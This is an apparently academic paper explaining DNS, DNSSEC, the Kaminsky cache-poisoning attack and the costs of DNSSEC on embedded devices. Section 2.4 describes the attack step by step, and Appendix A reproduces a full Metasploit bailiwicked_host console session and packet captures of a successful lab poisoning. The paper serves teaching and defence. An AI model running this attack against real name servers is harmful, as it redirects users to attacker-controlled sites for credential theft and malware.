Domain Name System Security

Eustace Asanghanwa
Andrew Bates
Shane Jahnke
Brian Wilke

Abstract

In this paper, we examine the Domain Name System (DNS) and its secure successor, DNSSEC. Many exploits have arisen with DNS, most notably the Kaminsky exploit, and more and more attention is being paid on implementing DNSSEC. However, as political concerns arise, and we increasingly shift from traditional PCs to embedded systems, DNSSEC poses new performance problems to replace the old security problems. We discuss the political concerns of DNSSEC and its technical concerns on embedded systems.

1. Introduction

The Domain Name System (DNS) can be considered one of the most important components of the modern Internet. DNS provides a means to map IP addresses (random, hard-to-remember numbers) to names (easier to remember and disseminate). Without DNS, we would have to remember that www.amazon.com is actually the IP address 72.21.207.65, and that would be hard to change. DNS is really the most successful, largest distributed database.

In recent years, however, a number of DNS exploits have been uncovered. These exploits affect the system in such a way that an end user cannot be certain the mappings he is presented with are in fact legitimate. The DNS Security (DNSSEC) standard has been written in an attempt to mitigate some of the known security issues in the current DNS design used today. In this paper, we will study DNS and its proposed, more secure successor, DNSSEC. Finally, we will analyze the impacts of DNSSEC on embedded platforms and mobile networks.

2. The Domain Name System (DNS)

In order to understand DNS and DNSSEC, one must first have a basic understanding of the concept of domains and the hierarchy they represent. Once we have learned the structure and naming of the system, we can examine the relationship of the systems and operations required to retrieve domain information.

2.1 Domain Naming and Organization

The definition of a domain according to RFC 920: "Domains are administrative entities. The purpose and expected use of domains is to divide the name management required of a central administration and assign it to sub-administrations" [1]. A domain is simply a grouping of like administrative objects. RFC 920 goes on to define several Top Level Domains (TLD) including the commonly known com, edu, and org for commercial, education, and government entities respectively. Each domain can specifiy sub-domains and grant the ability to manage those sub domains to different entities. For instance, the University of Colorado at Colorado Springs manages 'uccs' which is a sub domain of 'edu'. To properly represent this relationship, a dotted hierarchy can be written, as in 'uccs.edu'. Further, the university can specify any number of entities as sub domains of 'uccs.edu'. The computer science department may be 'cs.uccs.edu'. With each designation the owning entity may delegate management of the domain to the sub domain's owning entity.

2.2 DNS Concepts and Protocol

The domain requirements set forth in RFC 920 only specify the hierarchy, naming conventions and administrative management used in domain naming. There must be a way to resolve these delegated names to the Internet resources they represent. The Internet Engineering Task Force (IETF) standard 13 outlines the protocols and servers required to implement the DNS [2]. Even when the Internet was in its infancy it was already known that the DNS database would be quite large. Standard 13 outlines requirements to maintain the DNS database in a distributed manner and provide means to cache DNS information locally. The standard goes on to specify the three required components of DNS: Resource Records (RR), name servers, and resolvers. Resource records are simply name and data pairs defined for various resource types. An Address (A) record, for instance, may have a hostname to IP address mapping. A Mail Exchange (MX) record, on the other hand, will have a domain name to mail exchange mapping. In some cases (the MX record for instance) a record may have multiple piece of data associated with it depending on the RR type. In order to exchange information about resource records, a name server is required. Name servers store information about the domain hierarchy. A name server may store cached information retrieved from other name servers or it may contain complete information about a given domain. A name server is authoritative for any part of a domain where it has complete information. A collection of this authoritative information is known as a zone. When a client requires information from a name server, it will use a resolver to complete the request. Resolvers typically are configured with at least one statically defined name server. When a client request is received the resolver will first contact its defined name server and then proceed in resolving the request either by using the nameserver's response or by following referrals to other name servers. Resolvers are typically implemented directly in the operating system. One most Unix systems, the resolver can be configured by editing the file '/etc/resolv.conf'. Many times the resolver's configuration is defined by information received during the Dynamic Host Configuration Protocol (DHCP) transaction at system start.

2.3 Practical Example of a DNS lookup

Internet domains are maintained in an administrative hierarchy and each branch of the hierarchy may include any number of authoritative name servers and resource records. The act of resolving resource records in this hierarchy can be a multi-part process. If one were to follow the sequence of events involved in resolving the name 'www.google.com' to its corresponding IP address, they may note something similar to the following transaction:

1. The resolver queries the name server for the www.google.com 'A' record
2. The name server looks up the list of Global Top Level Domain (GTLD) server
3. The name server queries one of the GTLD servers for the www.google.com 'A' record
4. The GTLD server responds with the authoritative name servers for google.com
5. The local name server queries one of the google.com name servers for the www.google.com 'A' record
6. The google.com name server responds that www.google.com is actually a canonical name for www.l.google.com. Also included in this response is the list of authoritative name servers for l.google.com
7. The local name server quereies one of the l.google.com nameservers for the www.l.google.com 'A' record.
8. The l.google.com name server responds back with a series of address records including the corresponding IP addresses.
9. The local name server sends these IP addresses back to the resolver.

2.4 Security Concerns with DNS

Flaws in Internet services are nothing new. Just peruse the DNS timeline at http://www.donelan.com/dnstimeline.html [3]. Bugs in root nameservers, zone errors, traffic congestion -- it reads like Murphy's Law made manifest. Yet, DNS has been around for decades, and so many people use it that Linus's Law must apply: "Given enough eyeballs, all bugs are shallow [4]."

However, on July 8, 2008, a massive multi-vendor patch for DNS nameservers was released alongside CERT advisory #800113. Dan Kaminsky, a security researcher at DoxPara Research, had found a devastating flaw in DNS affecting almost every nameserver. He successfully combined two previous cache poisoning attack vectors -- QID guessing and additional RRs -- to create an extremely effective exploit. Metasploit, the popular security exploit framework, even has modules that will perform the attack (see Appendix A).

Consider the example given in 2.3. In the first step, the resolver sends out the DNS query for www.google.com. It attaches a Query ID, or QID, in the DNS header to identify the query. When the local name server finally responds in step 9, the reply packet

has the same QID, so that the resolver may match the reply to its original request. The same principle applies in step 7: the local name server creates a unique QID to query the l.google.com nameserver, and the l.google.com name server replies with that QID.

But what if someone is able to guess this QID? If an attacker mimics the l.google.com IP address, knows the UDP port to reply to, and knows the QID, then the attacker can inject any sort of reply. The local nameserver will honor it, and discard the later reply from the actual nameserver. l.google.com's IP address is common knowledge; the attacker has to guess the UDP port and QID. Many nameservers, including BIND, use to use port 53 as the reply port; more recently, they used some static, unprivileged port. An attacker can determine this port number fairly easy by, say, sniffing traffic or, as in the case of the Metasploit code, setting up a special nameserver and asking the local nameserver to query against it. The QID has traditionally been the hard part. It is 16 bits with 65,536 possible values. If the QID is generated by a pseudo-random number generator, as all modern nameservers do, then an attacker has less than 0.002% chance of guessing the correct QID. Extremly unlikely, right?

At least, it is extremely unlikely if l.google.com is queried a handful of times. However, if an attacker could continuously query l.google.com, and could also inject, say, 32 packets per query, it would only take the attacker 1024 queries on average to guess the QID. But how would someone continuously query l.google.com? In step 8, when the local nameserver receives the response, it normally caches it. An attacker could not simply query for www.google.com and expect the local nameserver to keep querying l.google.com.

Yet, the attacker could begin by querying for aaaaa.google.com. This host does not exist, so l.google.com replies with NXDOMAIN, and the local nameserver caches that result. Now the attacker queries for aaaab.google.com, then aaaac.google.com, then aaaad.google.com. All the while, the attacker is injecting 32 packets into the local nameserver. The local nameserver must query l.google.com for each hostname. Around aabff.google.com, the attacker will, on average, guess the QID, and get the local nameserver to honor its malicious packet.

What good is that, though? No one will ever query for aabff.google.com. True, but additional RRs can be added to the reply claiming that www.google.com now exists at 6.6.6.6. Or the additional RR could say that l.google.com now exists at 0.6.6.6. When the attacker succeeds in guessing the QID, which could take on the order of a few minutes, it could not only hijack www.google.com, it could also hijack the entire google.com domain.

Now imagine performing this exploit for paypal.com or wellsfargo.com. No need to phish; the fish come to you because you have redirected the domain name to your own password-tracking, malware-installing web site. This attack is categorized as cache poisoning. Before Kaminsky, no one thought that QID guessing and additional RRs could be used in such an effective attack.

3. DNS and DNS Security

How do we mitigate the Kaminsky exploit? The multi-vendor patch also randomized the port number, giving an additional 16 bits that an attacker has to guess. Instead of 1024 queries, an attacker would have to perform, on average, 67,108,864 queries to guess the QID and port number. Like most Internet security techniques, it is not technically impossible to guess the QID and port number, but, if it took 5 minutes to perform 1024 queries, then it would take more than 227 days to perform 67,108,864 queries.

Of course, nothing is ever easy. When the patch was released, Kaminsky and the vendors did not consider NATs or PATs. Many NATs and PATs use non-random ports when translating. Therefore, the entire patch was useless for nameservers behind a standard NAT or PAT. This problem was eventually fixed, but it underscores how the Internet is a vast system and any fix to one part of it could be voided by some other part.

3.1 DNS Security Extensions

Cache poisoning, such as Kaminsky's exploit, is only one of several known security concerns with the DNS [5]. However, most of the known security risks concern a lack of ability to validate DNS responses. A DNS resolver has know way to trust resource records without having a means to validate a DNS response. Thus, a proposal was written in 1999 to add a number of new resource records and DNS header bits to the DNS protocol, enhancing its security. The resource records facilitate the ability of a resolver to validate resource record responses using public key distribution, and the message header bits indicate to resolvers when requests should include security information [6].

The DNS Security Extensions include the following RRs: Resource Record Signature (RRSIG), DNS Key, Delegation Signer (DS) and Next Secure (NSEC). When a resolver requests secure data (by setting the DO or DNSSEC Ok) bit in the request, the response will include the requested RR (such as an 'A' record) as well as a corresponding RRSIG record. This RRSIG record should be signed by the owning zone's Zone Signing Key (ZSK). In order for the resolver to verify the response it must obtain the owning zone's

DNSKEY that corresponds to the ZSK. The process of obtaining the DNSKEY begins at the root. It is assumed that any resolver will have a copy of the root's key obtained by some secure means other then DNS. This key can then be used to verify responses from the root. The resolver will request the top level domain's Delegation Signer record from the root. This DS record can be used to verify the DNS key obtained from the top level domain. This process is repeated for each level of the domain hierarchy. The DS record will always be one level higher then the domain being examined. After recursing the entire tree, the owning zone's DNS key can be obtained, verified, and then used to verify the RRSIG record included in the original response [7].

3.2 DNSSEC Lookaside Validation

Given the hierarchy provided by the DNS design, a chain of trust can be created starting with the root zone. Each parent zone will have corresponding Delegation Signer (DS) records that are a hash of each sub-domain's DNS KEY. However, this design assumes that the root zone is DNSSEC aware and signed. On the Internet today the root zone is not signed due to a number of political issues and arguments. This lack of root signing does not completely eliminate the possibility of DNSSEC, however. The Internet Software Consortium (ISC) is the maintainer of the popular DNS resolver software BIND. The ISC has developed the DNSSEC Lookaside Validation or DLV. If a DNS resolver requests DNSSEC information and it cannot obtained a fully signed path to the root (which would be the case today) then it has the option of using the DLV provided by ISC to obtain the DS records to verify a domain's DNSKEY [9].

3.3 DNSSEC Political Concerns

However, even with DLV, one can always question the validity of the keys. Who is to prevent someone from distributing a key belonging to somebody else, claiming that key as their own, and putting it in the public domain? Without a trusted authority identifying who owns which keys, DNSSEC is no more secure than traditional DNS.

But who should be the trusted authority? IANA? ICANN? Both raise concerns about U.S. government oversight and involvement. How about some organization like the UN, then? Well, the UN has no experience managing Internet infrastructure like IANA and ICANN do. Replacing DNS with DNSSEC does not just raise technical concerns; there are a number of political concerns to address as well.

4. DNSSEC and Embedded Systems

DNS security concerns every computer connected to the Internet, and these days, such computers are evolving into embedded systems. From small scale networked appliances and gadgets in smart homes, to large scale distribution systems like smart power grids, and even envisioned wider networks like Inter-Vehicular Communications (IVC), computing is shifting away from traditional desktop computing to embedded computing. Many factors contribute to this shift, but high on the list are acquisition cost, convenience in miniaturization, and environmental friendliness with regards to end-of-life disposition.

By embedded systems, we mean computing resources other than traditional mainframes, desktop, or laptop computers. These are application specific computing resources fitted with suitable human interactive interfaces. Unless specifically required, they do not come with standard components associated with traditional computers like hard disks, removable disk drives, keyboards, mice, and remote monitors. Instead, their defining feature is the combination of an embedded processor and storage which typically combine to form a single Integrated Circuit (IC) component called the Microcontroller Unit (MCU). For any given application, this defining basic unit may then add necessary peripheral components such as touch-pads, Light Emitting Diodes (LED), or Liquid Crystal Displays (LCD) for human interactivity, and communicating interfaces for wired and wireless communications. The end result, the embedded computer, is usually a single Printed Circuit Board (PCB) with electronic components that is small and very portable. In this form, they can embedded directly into and provide the horsepower in smart systems like smart home appliances, smart power grid controller boxes, or may possess application specific convenient packaging like iPods and glucose monitors.

Ironically, the attributes that make embedded systems attractive are the very ones that pose challenges to deploying DNS security using DNSSEC. Low-cost, miniaturization, and easy disposal quickly translates into limited computing and storage resources, and

security vulnerability concerns for disposing secrets containing stale gadgets, all problems in implementing DNSSEC in embedded systems.

4.1 The Nature of DNSSEC in Embedded Systems

DNS security using DNSSEC is a great testament to the fact that true security is never free. It utilizes mathematically intensive cryptographic algorithms to provide the infrastructure for DNS servers and resolvers to mutually authenticate one another, usually through asymmetric key pairs. Asymmetric algorithms demand a lot in computational resources. They are typically complex mathematical operations involving factorization of the product of two large prime numbers (RSA) or computing discrete logarithms (D-H). To any computer, be it embedded or not, this translates into a large number of CPU clock cycles for the arithmetic and large RAM space for storing the computation's intermediate results. For a given algorithm and key size, the actual number of CPU clock cycles to complete an operation is dependent on the raw clock speed, the computational throughput of the CPU's instruction set, the RAM size, and any Operating System (OS) overhead. In general, the higher the CPU speed, and the greater the amount of RAM, the faster the computation. High CPU speeds and large RAMs are expensive resources in computing rationally justifiable only by the nature of the application. For example, one can afford to wait a few seconds to establish a secure session for online banking; the latency in this application is tolerable. If, however, a car's breaking system has to authenticate the request from the break pedal before engaging, one can see how low latency quickly becomes a necessity.

High CPU speeds and large amounts of RAM are not cheap, especially in embedded systems, where the goal is to create a low-cost, targeted system. It is therefore not unusual for the entire embedded system, including human interfacing peripherals and cosmetic packaging to cost less than just the CPU of a typical desktop computer.

Do less resource intensive cryptographic methods exist? Yes. There are symmetric-key encryption algorithms like the Advance Encryption Standard (AES) and Data Encryption Standard (DES), or hash algorithms like the Secure Hash Algorithm (e.g. SHA-1 as a specific version of SHA) or Message Digest algorithm (MD5 as a specific version of the algorithm). These algorithms demand an order of magnitude less resource than their asymmetric-key counterparts but all share a common limitation of not possessing the dual key flexibility to permit secure communication over an open network without a prior meeting to exchange cryptographic keys. A requirement of prior key exchange in DNS security is tantamount to bringing back the 'hosts' file problem that brought about DNS; such a solution is infeasible today.

4.2 Challenges to Embedded Systems by DNSSec

4.2.1 Limited Computational Power

At this point, it should be no secret that the cryptographic processes of DNSSEC demand a lot of computational power. These computational requirements only get worse with time as existing cryptographic computations become trivially exploited and network requirements evolve. For example, the norm for RSA key size today is 2048 bits for minimal security while 4096 bits are recommended. In the same token, migration from IPV4 to IPV6 requires the DNS address size to upgrade from 32 bits to 160 bits. These changes imposes additional processing thereby straining embedded systems even more.

For any given embedded system's Microcontroller Unit (MCU), the computational power is directly related to the architectural size of its logic processor (8-, 16-, 32-, 64-bit) and its processor speed. Keeping in mind that low cost is a driving factor, the larger the processor architecture or the faster the processor speed, the more expensive it is. The relationship between processor speed and cost may not be readily apparent until one notes that most embedded systems run off batteries that tend to drain faster with higher processor speeds. Not only does this impose operational cost in battery replacement, but it also imposes business cost when consumers refrain from the product because they do not want to be charging it very often.

Additional computational cost exists in embedded systems that have to have real time units called Real Time Clocks (RTC). DNSSec demands time based synchronizations thus requiring the embedded system to have a shared concept of time. Many embedded systems in the internet can retrieve this information from an internet timeserver, but systems that cannot afford the additional communication bandwidth for time services will need to manage an onboard RTC.

4.2.2 Limited Memory and Storage

Talk of 2048 and 4096 bits key sizes tantamount to minimum non-volatile physical storage in the MCU. Cryptographic computation demands volatile memory in the form of RAM in addition to memory necessary for running the system. Add this to the fact that the system may have to process certificates rather than just keys only bloats the size of the memory requirements. Not only does larger memories impose higher per unit costs, but also imposes business costs where the final size of the embedded system grows beyond the miniaturized norm that makes the embedded system attractive in the first place, and all these stemming from the additional load of DNSSec.

4.2.3 Easy Disposal

Even though guidelines exist to police environmental safe disposal of electronic products like embedded systems, safe disposal is more difficult to achieve with consumers than corporate and governmental entities. When a consumer as declared the end of the useful like of a pocket PC, an iPhone, a GPS unit for example, dumping the defective unit in a regular kitchen trash is as good a disposal option as following recommended procedures. Without condoning the act, one can appreciate the ease in doing so and also appreciate the fact that an equal level of ease does not extend to the non-embedded computing counterparts. Environment aside, this ease in disposal can easily lead to security vulnerabilities exploitable by dumpster divers. A smart dumpster diver in possession of the discarded gadget can gain access to stored security keys that they can use not only to the detriment of the former gadget owner, but can potentially compromise the security of the network or service under protection. This assumes the consumer did not preprocess the gadget to eliminate valuable information, which is typically the case in such situations. The ease of disposing embedded systems therefore posses yet another challenge to embedded security. This can be mitigated technically by storing key information in (more expensive) security hardened storage units that will keep security information safe even with the gadget in the hands of dumpster divers.

All three challenges already possess feasible technical solutions and so in reality are economic in nature. With greater proliferation DNS security concerns, we foresee the emergence of embedded hardware accelerators for DNSSec processing, adoption of newer less intensive asymmetric cryptographic algorithms like Elliptic Curves Cryptography (EEC), and a greater price tag on the value of security such that consumers are willing to pay more for embedded systems.

4.3 Performance Concerns with Embedded Devices

As one can see the principles of the DNS are relatively simple. Only three components make up the system and that system can resolve any number of types of data. However, given that the domains themselves may be in an almost infinitely complex hierarchy the act of resolving resource records with the three basic components can be quite complex. Adding security to this system increases the required transactions and further consumes available bandwidth.

5. Conclusions

DNS is one of the most long-lasting, successful components in the Internet. It is vital to all e-mail communications and web browsing. Yet, it was designed for a simpler, more trustworthy network, not the modern Internet. As Kaminsky's exploit demonstrates, it can be unwise and unsafe to trust current DNS responses.

DNSSEC would alleviate these security concerns. But the political and technical forces at work make the year of DNSSEC a long ways off. What good is a security protocol that will not be implemented for years, perhaps decades? How can we mitigate solutions now?

Kaminsky proposed a solution that is now in every DNS vendor's code. That solution can be completely nullified by the existence of a NAT or PAT. Networks being as complex as they are nowadays, it might be impossible for a network operator to modify their NAT or PAT to allow the Kaminsky solution.

There is another possibility. DNS can run over TCP. Usually, name servers use TCP to transfer large amounts of records where the cost of lost or damaged information is high, and transfer time is less of a concern. Most modern networks, however, are fast enough that if all DNS resolvers used TCP to handle normal requests, there would be only a slight increase in response time and

bandwidth. TCP is very hard to exploit, even harder than randomizing the UDP ports, and embedded devices handle TCP extremely well. For the near term, switching over to TCP may be the best solution for security and performance concerns.

References

[1] J. Postel, J. Reynolds. RFC 920 Domain Requirements. *http://www.rfc-editor.org/rfc/rfc920.txt*, October 1984.

[2] P. Mockapetris. Standard 13 Domain Names - Concepts and Facilities. *ftp://ftp.rfc-editor.org/in-notes/std/std13.txt*, November 1987.

[3] Donelan, Sean. DNS Timeline. *http://www.donelan.com/dnstimeline.html*. November 2002.

[4] Raymond, Eric S. *The Cathedral & The Bazaar*. O'Reilly, 2001.

[5] Atkins, D. RFC 3833 Threat Analysis of the Domain Name System (DNS). *http://www.rfc-editor.org/rfc/rfc3833.txt*, August 2004.

[6] Eastlake, D. RFC 2535 Domain Name System Security Extensions. *http://www.rfc-editor.org/rfc/rfc2535.txt*. March 1999

[7] Various. Domain Name System Security Extensions. *http://en.wikipedia.org/wiki/DNSSEC*. May 2009

[9] Internet Software Consortium. ISC's DLV Registry. *https://secure.isc.org/ops/dlv/*

Appendix A

Below is a log file of a successful exploit using the Metasploit tool. The exploited name is evil.example.com, poisoned to point at 0.6.6.6, and the exploited name server is 192.168.1.125. Also included is a snippet of the packets sniffed with Wireshark; packet no. 19 is the eventual successful poisoning in response to packet no. 18's query, and packet no. 20 is the discarded real response.

```
Last login: Sun Apr 19 16:21:12 on ttys002
brian-wilkes-imac:~ brianwilke$ cd Desktop/framework-3.2
brian-wilkes-imac:framework-3.2 brianwilke$ sudo ./msfconsole
Password:

#  # ###### #####  ##  #### ##### #    #### # #####
## ### #    #  # # #  #  ##  #  ## #
# ## # #####  # #  # #### #  ##  #  ## #
#  ##  #  ######  # ##### #  #  ## #
#  ##  #  #  ##  ##  #  #  ## #
#  # ######  #  #  # #### #  ###### #### # #


      =[ msf v3.2-release
+ -- --=[ 320 exploits - 217 payloads
+ -- --=[ 20 encoders - 6 nops
      =[ 99 aux

msf > use auxiliary/spoof/dns/bailiwicked_host
msf auxiliary(bailiwicked_host) > set HOSTNAME evil.example.com
HOSTNAME => evil.example.com
msf auxiliary(bailiwicked_host) > set NEWADDR 0.6.6.6
NEWADDR => 0.6.6.6
msf auxiliary(bailiwicked_host) > show options

Module options:

  Name      Current Setting   Required  Description
```

```
  ----      ---------------   --------  -----------
  HOSTNAME  evil.example.com  yes       Hostname to hijack
  NEWADDR   0.6.6.6           yes       New address for hostname
  RECONS    208.67.222.222    yes       The nameserver used for reconnaissance
  RHOST     192.168.1.125     yes       The target address
  SRCADDR   Real              yes       The source address to use for sending the queries (accepted: Real, Random)
  SRCPORT   53                yes       The target server's source query port (0 for automatic)
  TTL       42756             yes       The TTL for the malicious host entry
  XIDS      0                 yes       The number of XIDs to try for each query (0 for automatic)

msf auxiliary(bailiwicked_host) > run

[*] Targeting nameserver 192.168.1.125 for injection of evil.example.com. as 0.6.6.6
[*] Querying recon nameserver for example.com.'s nameservers...
[*]  Got an NS record: example.com.            172534  IN      NS      a.iana-servers.net.
[*]   Querying recon nameserver for address of a.iana-servers.net....
[*]    Got an A record: a.iana-servers.net.     21349   IN      A       192.0.34.43
[*]     Checking Authoritativeness: Querying 192.0.34.43 for example.com....
[*]     a.iana-servers.net. is authoritative for example.com., adding to list of nameservers to spoof as
[*]  Got an NS record: example.com.            172534  IN      NS      b.iana-servers.net.
[*]   Querying recon nameserver for address of b.iana-servers.net....
[*]    Got an A record: b.iana-servers.net.     21349   IN      A       193.0.0.236
[*]     Checking Authoritativeness: Querying 193.0.0.236 for example.com....
[*]     b.iana-servers.net. is authoritative for example.com., adding to list of nameservers to spoof as
[*] Calculating the number of spoofed replies to send per query...
[*]   race calc: 100 queries | min/max/avg time: 0.09/0.23/0.11 | min/max/avg replies: 12/136/45
[*] Sending 33 spoofed replies from each nameserver (2) for each query
[*] Attempting to inject a poison record for evil.example.com. into 192.168.1.125:53...
[*] Sent 1000 queries and 66000 spoofed responses...
[*] Recalculating the number of spoofed replies to send per query...
[*]   race calc: 25 queries | min/max/avg time: 0.09/0.17/0.1 | min/max/avg replies: 13/70/43
[*] Now sending 32 spoofed replies from each nameserver (2) for each query
[*] Sent 2000 queries and 130000 spoofed responses...
[*] Recalculating the number of spoofed replies to send per query...
[*]   race calc: 25 queries | min/max/avg time: 0.09/0.33/0.11 | min/max/avg replies: 15/130/46
[*] Now sending 34 spoofed replies from each nameserver (2) for each query
[*] Poisoning successful after 2500 queries and 164000 responses: evil.example.com == 0.6.6.6
[*] TTL: 42755 DATA: #<Resolv::DNS::Resource::IN::A:0x2eae1f4>
[*] Auxiliary module execution completed
msf auxiliary(bailiwicked_host) > dig @192.168.1.125 evil.example.com
[*] exec: dig @192.168.1.125 evil.example.com


; <<>> DiG 9.4.2-P2 <<>> @192.168.1.125 evil.example.com
; (1 server found)
;; global options:  printcmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 54586
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 2

;; QUESTION SECTION:
;evil.example.com. IN A
```

;; ANSWER SECTION:
evil.example.com. 42458 IN A 0.6.6.6

;; AUTHORITY SECTION:
example.com. 171202 IN NS a.iana-servers.net.
example.com. 171202 IN NS b.iana-servers.net.

;; ADDITIONAL SECTION:
a.iana-servers.net. 171202 IN A 192.0.34.43
b.iana-servers.net. 20003 IN A 193.0.0.236

;; Query time: 23 msec
;; SERVER: 192.168.1.125#53(192.168.1.125)
;; WHEN: Sun Apr 19 16:49:47 2009
;; MSG SIZE rcvd: 130

msf auxiliary(bailiwicked_host) >

No. Time Source Destination Protocol Info
1 0.000000 192.168.1.135 192.168.1.125 DNS Standard query A
evil.example.com
Frame 1 (76 bytes on wire, 76 bytes captured)
Ethernet II, Src: AppleCom_b1:bc:cd (00:16:cb:b1:bc:cd), Dst: AsustekC_d1:9b:61 (00:11:2f
:d1:9b:61)
Internet Protocol, Src: 192.168.1.135 (192.168.1.135), Dst: 192.168.1.125 (192.168.1.125)
User Datagram Protocol, Src Port: 55816 (55816), Dst Port: domain (53)
Domain Name System (query)
[Response In: 2]
Transaction ID: 0x136f
Flags: 0x0000 (Standard query)
Questions: 1
Answer RRs: 0
Authority RRs: 0
Additional RRs: 0
Queries

No. Time Source Destination Protocol Info
2 0.000339 192.168.1.125 192.168.1.135 DNS Standard query r
esponse
Frame 2 (156 bytes on wire, 156 bytes captured)
Ethernet II, Src: AsustekC_d1:9b:61 (00:11:2f:d1:9b:61), Dst: AppleCom_b1:bc:cd (00:16:cb
:b1:bc:cd)
Internet Protocol, Src: 192.168.1.125 (192.168.1.125), Dst: 192.168.1.135 (192.168.1.135)
User Datagram Protocol, Src Port: domain (53), Dst Port: 55816 (55816)
Domain Name System (response)
[Request In: 1]
[Time: 0.000339000 seconds]
Transaction ID: 0x136f
Flags: 0x8080 (Standard query response, No error)
Questions: 1
Answer RRs: 0
Authority RRs: 2

Additional RRs: 2
Queries
Authoritative nameservers
Additional records

No. Time Source Destination Protocol Info
3 12.088139 192.168.1.135 192.168.1.125 DNS Standard query A
6KaLCcFZxz.example.com
Frame 3 (82 bytes on wire, 82 bytes captured)
Ethernet II, Src: AppleCom_b1:bc:cd (00:16:cb:b1:bc:cd), Dst: AsustekC_d1:9b:61 (00:11:2f
:d1:9b:61)
Internet Protocol, Src: 192.168.1.135 (192.168.1.135), Dst: 192.168.1.125 (192.168.1.125)
User Datagram Protocol, Src Port: 55297 (55297), Dst Port: domain (53)
Domain Name System (query)
[Response In: 16]
Transaction ID: 0xdd43
Flags: 0x0100 (Standard query)
Questions: 1
Answer RRs: 0
Authority RRs: 0
Additional RRs: 0
Queries

No. Time Source Destination Protocol Info
4 12.088442 192.168.1.125 192.0.34.43 DNS Standard query A
6KaLCcFZxz.example.com
Frame 4 (93 bytes on wire, 93 bytes captured)
Ethernet II, Src: AsustekC_d1:9b:61 (00:11:2f:d1:9b:61), Dst: Cisco-Li_21:fa:69 (00:1c:10
:21:fa:69)
Internet Protocol, Src: 192.168.1.125 (192.168.1.125), Dst: 192.0.34.43 (192.0.34.43)
User Datagram Protocol, Src Port: domain (53), Dst Port: domain (53)
Domain Name System (query)
[Response In: 15]
Transaction ID: 0x8186
Flags: 0x0010 (Standard query)
Questions: 1
Answer RRs: 0
Authority RRs: 0
Additional RRs: 1
Queries
Additional records

No. Time Source Destination Protocol Info
5 12.089564 192.0.34.43 192.168.1.125 DNS Standard query r
esponse A 0.6.6.6
Frame 5 (133 bytes on wire, 133 bytes captured)
Ethernet II, Src: AppleCom_b1:bc:cd (00:16:cb:b1:bc:cd), Dst: AsustekC_d1:9b:61 (00:11:2f
:d1:9b:61)
Internet Protocol, Src: 192.0.34.43 (192.0.34.43), Dst: 192.168.1.125 (192.168.1.125)
User Datagram Protocol, Src Port: domain (53), Dst Port: domain (53)
Domain Name System (response)
Transaction ID: 0x74df
Flags: 0x8180 (Standard query response, No error)
Questions: 1

Answer RRs: 1
Authority RRs: 1
Additional RRs: 1
Queries
Answers
Authoritative nameservers
Additional records

No. Time Source Destination Protocol Info
6 12.090361 193.0.0.236 192.168.1.125 DNS Standard query r
esponse A 0.6.6.6
Frame 6 (133 bytes on wire, 133 bytes captured)
Ethernet II, Src: AppleCom_b1:bc:cd (00:16:cb:b1:bc:cd), Dst: AsustekC_d1:9b:61 (00:11:2f
:d1:9b:61)
Internet Protocol, Src: 193.0.0.236 (193.0.0.236), Dst: 192.168.1.125 (192.168.1.125)
User Datagram Protocol, Src Port: domain (53), Dst Port: domain (53)
Domain Name System (response)
Transaction ID: 0x74df
Flags: 0x8180 (Standard query response, No error)
Questions: 1
Answer RRs: 1
Authority RRs: 1
Additional RRs: 1
Queries
Answers
Authoritative nameservers
Additional records

No. Time Source Destination Protocol Info
7 12.091199 192.0.34.43 192.168.1.125 DNS Standard query r
esponse A 0.6.6.6
Frame 7 (133 bytes on wire, 133 bytes captured)
Ethernet II, Src: AppleCom_b1:bc:cd (00:16:cb:b1:bc:cd), Dst: AsustekC_d1:9b:61 (00:11:2f
:d1:9b:61)
Internet Protocol, Src: 192.0.34.43 (192.0.34.43), Dst: 192.168.1.125 (192.168.1.125)
User Datagram Protocol, Src Port: domain (53), Dst Port: domain (53)
Domain Name System (response)
Transaction ID: 0x74e0
Flags: 0x8180 (Standard query response, No error)
Questions: 1
Answer RRs: 1
Authority RRs: 1
Additional RRs: 1
Queries
Answers
Authoritative nameservers
Additional records

No. Time Source Destination Protocol Info
8 12.092196 193.0.0.236 192.168.1.125 DNS Standard query r
esponse A 0.6.6.6
Frame 8 (133 bytes on wire, 133 bytes captured)
Ethernet II, Src: AppleCom_b1:bc:cd (00:16:cb:b1:bc:cd), Dst: AsustekC_d1:9b:61 (00:11:2f
:d1:9b:61)

Internet Protocol, Src: 193.0.0.236 (193.0.0.236), Dst: 192.168.1.125 (192.168.1.125)
User Datagram Protocol, Src Port: domain (53), Dst Port: domain (53)
Domain Name System (response)
Transaction ID: 0x74e0
Flags: 0x8180 (Standard query response, No error)
Questions: 1
Answer RRs: 1
Authority RRs: 1
Additional RRs: 1
Queries
Answers
Authoritative nameservers
Additional records

No. Time Source Destination Protocol Info
9 12.093132 192.0.34.43 192.168.1.125 DNS Standard query r
esponse A 0.6.6.6
Frame 9 (133 bytes on wire, 133 bytes captured)
Ethernet II, Src: AppleCom_b1:bc:cd (00:16:cb:b1:bc:cd), Dst: AsustekC_d1:9b:61 (00:11:2f
:d1:9b:61)
Internet Protocol, Src: 192.0.34.43 (192.0.34.43), Dst: 192.168.1.125 (192.168.1.125)
User Datagram Protocol, Src Port: domain (53), Dst Port: domain (53)
Domain Name System (response)
Transaction ID: 0x74e1
Flags: 0x8180 (Standard query response, No error)
Questions: 1
Answer RRs: 1
Authority RRs: 1
Additional RRs: 1
Queries
Answers
Authoritative nameservers
Additional records

No. Time Source Destination Protocol Info
10 12.094045 193.0.0.236 192.168.1.125 DNS Standard query r
esponse A 0.6.6.6
Frame 10 (133 bytes on wire, 133 bytes captured)
Ethernet II, Src: AppleCom_b1:bc:cd (00:16:cb:b1:bc:cd), Dst: AsustekC_d1:9b:61 (00:11:2f
:d1:9b:61)
Internet Protocol, Src: 193.0.0.236 (193.0.0.236), Dst: 192.168.1.125 (192.168.1.125)
User Datagram Protocol, Src Port: domain (53), Dst Port: domain (53)
Domain Name System (response)
Transaction ID: 0x74e1
Flags: 0x8180 (Standard query response, No error)
Questions: 1
Answer RRs: 1
Authority RRs: 1
Additional RRs: 1
Queries
Answers
Authoritative nameservers
Additional records

No. Time Source Destination Protocol Info
11 12.095268 192.0.34.43 192.168.1.125 DNS Standard query r
esponse A 0.6.6.6
Frame 11 (133 bytes on wire, 133 bytes captured)
Ethernet II, Src: AppleCom_b1:bc:cd (00:16:cb:b1:bc:cd), Dst: AsustekC_d1:9b:61 (00:11:2f
:d1:9b:61)
